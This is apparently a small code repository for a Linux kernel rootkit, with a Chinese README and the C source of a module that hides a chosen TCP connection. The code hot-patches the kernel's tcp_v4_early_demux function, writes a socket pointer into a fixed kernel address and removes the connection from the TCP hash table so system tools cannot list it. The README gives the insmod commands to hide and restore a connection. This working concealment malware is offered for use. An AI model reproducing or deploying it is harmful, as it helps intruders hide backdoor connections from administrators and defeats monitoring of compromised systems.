├── .gitignore ├── LICENSE ├── README.md └── hide_connection.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TCP-Rootkit 2 | Hide your tcp connection！！！ 3 | 4 | 该模块可以根据四元组隐藏你的TCP连接，偷偷干点儿不为人知的事情。 5 | 6 | 隐藏： 7 | insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 8 | 9 | 恢复： 10 | insmod ./hide_connection.ko hide=0 11 | -------------------------------------------------------------------------------- /hide_connection.c: -------------------------------------------------------------------------------- 1 | // hide_connection.c 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | /* 8 | * version 1.0 9 | * 缺点： 10 | * 1. 仅仅可以藏一个sock，后续可以增加一个新的藏污纳垢专有hlist，同样可以见缝插针 11 | * 2. 仅仅支持目标端口匹配，即stub_func_tcp4_demux仅仅根据目标端口过滤 12 | * 但这一切都是为了简单！简单！简单！ 13 | */ 14 | 15 | char *stub = NULL; 16 | 17 | // 用于立即数替换 18 | #define ROOM_MAGIC 0x1122334455667788 19 | #define PORT_MAGIC 0x3412 20 | 21 | // hook住tcp_v4_early_demux后执行该函数 22 | void stub_func_tcp4_demux(struct sk_buff *skb) 23 | { 24 | struct iphdr *iph; 25 | struct tcphdr *th; 26 | struct sock *sk; 27 | 28 | if (skb->pkt_type != PACKET_HOST) 29 | return; 30 | 31 | if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr))) 32 | return; 33 | 34 | iph = ip_hdr(skb); 35 | th = tcp_hdr(skb); 36 | 37 | if (th->doff < sizeof(struct tcphdr) / 4) 38 | return; 39 | 40 | // PORT_MAGIC将会被目标端口所替换 41 | if (ntohs(th->dest) == PORT_MAGIC) { 42 | // ROOM_MAGIC将会被存放sock结构体的内存地址所替换，一个指针即可。 43 | struct sock **psk = (struct sock **)ROOM_MAGIC; 44 | sk = *psk; // 取出被藏匿的sock结构体地址 45 | 46 | atomic_inc_not_zero(&sk->sk_refcnt); 47 | skb->sk = sk; 48 | skb->destructor = sock_edemux; 49 | if (sk->sk_state != TCP_TIME_WAIT) { 50 | struct dst_entry *dst = sk->sk_rx_dst; 51 | 52 | if (dst) 53 | dst = dst_check(dst, 0); 54 | if (dst && 55 | inet_sk(sk)->rx_dst_ifindex == skb->skb_iif) 56 | skb_dst_set_noref(skb, dst); 57 | } 58 | goto out; 59 | } 60 | return; 61 | out: 62 | // 不再执行原始的tcp_v4_early_demux函数，skip掉它的堆栈。 63 | asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;"); 64 | } 65 | 66 | #define FTRACE_SIZE 5 67 | #define POKE_OFFSET 0 68 | #define POKE_LENGTH 5 69 | 70 | void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align, 71 | unsigned long start, unsigned long end, gfp_t gfp_mask, 72 | pgprot_t prot, int node, const void *caller); 73 | static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len); 74 | static struct mutex *_text_mutex; 75 | 76 | char *hide_tcp4_seq_show = NULL; 77 | unsigned char jmp_call[POKE_LENGTH]; 78 | 79 | #define START _AC(0xffffffffa0000000, UL) 80 | #define END _AC(0xffffffffff000000, UL) 81 | 82 | static int hide = 1; 83 | module_param(hide, int, 0444); 84 | 85 | static __be16 sport = 1234; 86 | module_param(sport, ushort, 0444); 87 | 88 | static __be16 dport = 1234; 89 | module_param(dport, ushort, 0444); 90 | 91 | static __be32 saddr = 0; 92 | module_param(saddr, uint, 0444); 93 | 94 | static __be32 daddr = 0; 95 | module_param(daddr, uint, 0444); 96 | 97 | static int ifindex = 0; 98 | module_param(ifindex, int, 0444); 99 | 100 | #define ROOM_ADDR 0xffffffff815622dd 101 | 102 | void restore_connection(void) 103 | { 104 | struct sock *sk, **psk; 105 | 106 | psk = (struct sock **)ROOM_ADDR; 107 | sk = *psk; 108 | 109 | __inet_hash_nolisten(sk, NULL); 110 | } 111 | 112 | static int __init hideconn_init(void) 113 | { 114 | s32 offset; 115 | char *_tcp4_early_demux, *stub_demux; 116 | unsigned long hide_psk[1]; 117 | unsigned short aport[1]; 118 | struct sock **hide_sk, *sk = NULL; 119 | unsigned long psk_addr = 0; 120 | int i; 121 | unsigned long *scan; 122 | unsigned short *sscan; 123 | 124 | _tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux"); 125 | if (!_tcp4_early_demux) { 126 | return -1; 127 | } 128 | 129 | ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range"); 130 | _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp"); 131 | _text_mutex = (void *)kallsyms_lookup_name("text_mutex"); 132 | if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) { 133 | return -1; 134 | } 135 | 136 | if (hide == 0) { // 恢复TCP连接，将其重新插入TCP ehash表 137 | restore_connection(); 138 | 139 | offset = *(unsigned int *)&_tcp4_early_demux[1]; 140 | stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE); 141 | 142 | get_online_cpus(); 143 | mutex_lock(_text_mutex); 144 | _text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH); 145 | mutex_unlock(_text_mutex); 146 | put_online_cpus(); 147 | 148 | vfree(stub); 149 | return -1; 150 | } 151 | 152 | stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END, 153 | GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC, 154 | -1, __builtin_return_address(0)); 155 | 156 | /* 157 | // 仅仅藏匿一个socket 158 | #define SIZE 1 159 | // 如果我们采用动态分配内存的方式，就必须想办法能找到它。 160 | // 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择！ 161 | hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END, 162 | GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC, 163 | -1, __builtin_return_address(0)); 164 | */ 165 | // 但为了更加trick，我还是选择藏污纳垢的方式来见缝插针！ 166 | hide_sk = (struct sock **)ROOM_ADDR; 167 | if (!stub_demux || !hide_sk) { 168 | return -1; 169 | } 170 | 171 | // 根据参数传来的4元组来查找socket！ 172 | sk = inet_lookup_established(&init_net, &tcp_hashinfo, 173 | saddr, htons(sport), daddr, htons(dport), ifindex); 174 | if (!sk) { 175 | vfree(stub_demux); 176 | return -1; 177 | } 178 | 179 | *hide_sk = sk; 180 | psk_addr = (unsigned long)hide_sk; 181 | hide_psk[0] = psk_addr; 182 | stub = (void *)stub_func_tcp4_demux; 183 | 184 | // 扫描stub查找并替换“隐藏sock的内存地址” 185 | scan = (unsigned long *)stub; 186 | for (i = 0; i < 0x1ff; i++) { 187 | scan = (unsigned long *)&stub[i]; 188 | if (*scan == ROOM_MAGIC) 189 | break; 190 | } 191 | _text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk)); 192 | 193 | // 扫描stub查找并替换目标端口 194 | sscan = (unsigned short *)stub; 195 | for (i = 0; i < 0x1ff; i++) { 196 | sscan = (unsigned short *)&stub[i]; 197 | if (ntohs(*sscan) == PORT_MAGIC) 198 | break; 199 | } 200 | aport[0] = htons(dport); 201 | _text_poke_smp(&stub[i], aport, sizeof(aport)); 202 | 203 | memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff); 204 | stub = (void *)stub_demux; 205 | 206 | jmp_call[0] = 0xe8; 207 | 208 | offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE); 209 | (*(s32 *)(&jmp_call[1])) = offset; 210 | 211 | get_online_cpus(); 212 | mutex_lock(_text_mutex); 213 | _text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH); 214 | mutex_unlock(_text_mutex); 215 | put_online_cpus(); 216 | 217 | // 将TCP连接从ehash摘除 218 | inet_unhash(sk); 219 | sock_put(sk); 220 | 221 | // 事了拂衣去，深藏身与名！ 222 | return -1; 223 | } 224 | 225 | static void __exit hideconn_exit(void) 226 | { 227 | } 228 | 229 | module_init(hideconn_init); 230 | module_exit(hideconn_exit); 231 | MODULE_LICENSE("GPL"); 232 | --------------------------------------------------------------------------------